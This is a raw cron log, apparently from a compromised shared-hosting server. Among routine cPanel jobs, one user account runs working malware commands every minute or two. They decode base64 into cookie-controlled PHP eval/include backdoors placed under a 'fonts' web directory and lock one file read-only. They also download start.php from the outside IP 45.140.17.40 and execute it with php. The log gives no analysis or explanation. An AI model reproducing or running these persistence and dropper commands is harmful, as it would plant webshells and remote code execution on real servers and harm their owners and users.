Sep 12 02:05:01 ip-184-168-122-23 CROND[6901]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:05:01 ip-184-168-122-23 CROND[6903]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:05:01 ip-184-168-122-23 CROND[6904]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 02:05:01 ip-184-168-122-23 CROND[6906]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 02:05:01 ip-184-168-122-23 CROND[6909]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:05:01 ip-184-168-122-23 CROND[6908]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 02:06:01 ip-184-168-122-23 CROND[7015]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:06:01 ip-184-168-122-23 CROND[7017]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:06:01 ip-184-168-122-23 CROND[7020]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:06:01 ip-184-168-122-23 CROND[7019]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:06:01 ip-184-168-122-23 CROND[7018]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 02:07:01 ip-184-168-122-23 CROND[7191]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:07:01 ip-184-168-122-23 CROND[7192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:07:01 ip-184-168-122-23 CROND[7193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:07:01 ip-184-168-122-23 CROND[7194]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:08:01 ip-184-168-122-23 CROND[7283]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:08:01 ip-184-168-122-23 CROND[7285]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 02:08:01 ip-184-168-122-23 CROND[7287]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:08:01 ip-184-168-122-23 CROND[7284]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:08:01 ip-184-168-122-23 CROND[7286]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:09:01 ip-184-168-122-23 CROND[7393]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:09:01 ip-184-168-122-23 CROND[7392]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:09:01 ip-184-168-122-23 CROND[7395]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 02:09:01 ip-184-168-122-23 CROND[7396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:09:01 ip-184-168-122-23 CROND[7394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:10:01 ip-184-168-122-23 CROND[7496]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 02:10:01 ip-184-168-122-23 CROND[7499]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 02:10:01 ip-184-168-122-23 CROND[7501]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:10:01 ip-184-168-122-23 CROND[7503]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:10:01 ip-184-168-122-23 CROND[7502]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 02:10:01 ip-184-168-122-23 CROND[7500]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:10:01 ip-184-168-122-23 CROND[7505]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:10:01 ip-184-168-122-23 CROND[7506]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 02:11:01 ip-184-168-122-23 CROND[7602]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:11:01 ip-184-168-122-23 CROND[7604]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:11:01 ip-184-168-122-23 CROND[7603]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:11:01 ip-184-168-122-23 CROND[7605]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:12:01 ip-184-168-122-23 CROND[7771]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:12:01 ip-184-168-122-23 CROND[7773]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 02:12:01 ip-184-168-122-23 CROND[7776]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:12:01 ip-184-168-122-23 CROND[7775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:12:01 ip-184-168-122-23 CROND[7774]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:13:01 ip-184-168-122-23 CROND[7854]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:13:01 ip-184-168-122-23 CROND[7855]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:13:01 ip-184-168-122-23 CROND[7856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:13:01 ip-184-168-122-23 CROND[7857]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:14:01 ip-184-168-122-23 CROND[7962]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 02:14:01 ip-184-168-122-23 CROND[7963]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:14:01 ip-184-168-122-23 CROND[7965]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:14:01 ip-184-168-122-23 CROND[7964]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:14:01 ip-184-168-122-23 CROND[7966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:15:01 ip-184-168-122-23 CROND[8064]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 12 02:15:01 ip-184-168-122-23 CROND[8067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:15:01 ip-184-168-122-23 CROND[8065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:15:01 ip-184-168-122-23 CROND[8066]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:15:01 ip-184-168-122-23 CROND[8068]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 02:15:01 ip-184-168-122-23 CROND[8063]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:15:01 ip-184-168-122-23 CROND[8069]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 02:16:01 ip-184-168-122-23 CROND[8164]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 02:16:01 ip-184-168-122-23 CROND[8165]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:16:01 ip-184-168-122-23 CROND[8167]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 02:16:01 ip-184-168-122-23 CROND[8169]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:16:01 ip-184-168-122-23 CROND[8172]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:16:01 ip-184-168-122-23 CROND[8170]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:17:01 ip-184-168-122-23 CROND[8341]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:17:01 ip-184-168-122-23 CROND[8342]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:17:01 ip-184-168-122-23 CROND[8343]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
